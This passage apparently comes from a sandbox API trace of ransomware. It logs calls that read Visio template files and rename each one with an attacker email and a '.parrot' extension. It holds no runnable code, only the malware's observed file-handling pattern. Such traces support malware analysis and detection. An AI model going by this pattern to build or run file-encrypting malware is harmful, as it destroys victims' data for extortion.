(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.776] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.776] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.777] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.777] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcc00, lpOverlapped=0x0) returned 1 [0217.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.806] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.806] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.824] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.825] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x59600, lpOverlapped=0x0) returned 1 [0217.835] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.106] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.108] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x54c00, lpOverlapped=0x0) returned 1 [0218.127] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.230] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.230] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.231] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.232] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6d400, lpOverlapped=0x0) returned 1 [0218.252] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.328] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.328] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.369] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.369] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10000, lpOverlapped=0x0) returned 1 [0218.377] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.389] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.390] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.391] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x69c00, lpOverlapped=0x0) returned 1 [0218.402] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.423] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.423] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.425] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.425] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfe00, lpOverlapped=0x0) returned 1 [0218.432] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.501] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.502] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.503] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc800, lpOverlapped=0x0) returned 1 [0218.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.516] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.517] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc600, lpOverlapped=0x0) returned 1 [0218.519] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.525] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.527] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa200, lpOverlapped=0x0) returned 1 [0218.532] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.540] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.548] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.548] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a00, lpOverlapped=0x0) returned 1 [0218.550] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.558] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.559] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9c00, lpOverlapped=0x0) returned 1 [0218.560] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.568] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.570] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a00, lpOverlapped=0x0) returned 1 [0218.578] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.584] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.584] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.586] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x80000, lpOverlapped=0x0) returned 1 [0218.602] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EXCOBJ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\excobj_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EXCOBJ_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\excobj_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.677] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.678] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.679] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7ec00, lpOverlapped=0x0) returned 1 [0218.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EXCOBJ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\excobj_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EXCOBJ_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\excobj_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.729] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.729] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.730] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.731] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x42800, lpOverlapped=0x0) returned 1 [0218.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN1_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn1_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN1_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn1_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.821] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.821] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.823] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.823] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3ec00, lpOverlapped=0x0) returned 1 [0218.834] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN1_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn1_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN1_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn1_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.868] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.868] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.870] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.870] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2e200, lpOverlapped=0x0) returned 1 [0218.883] 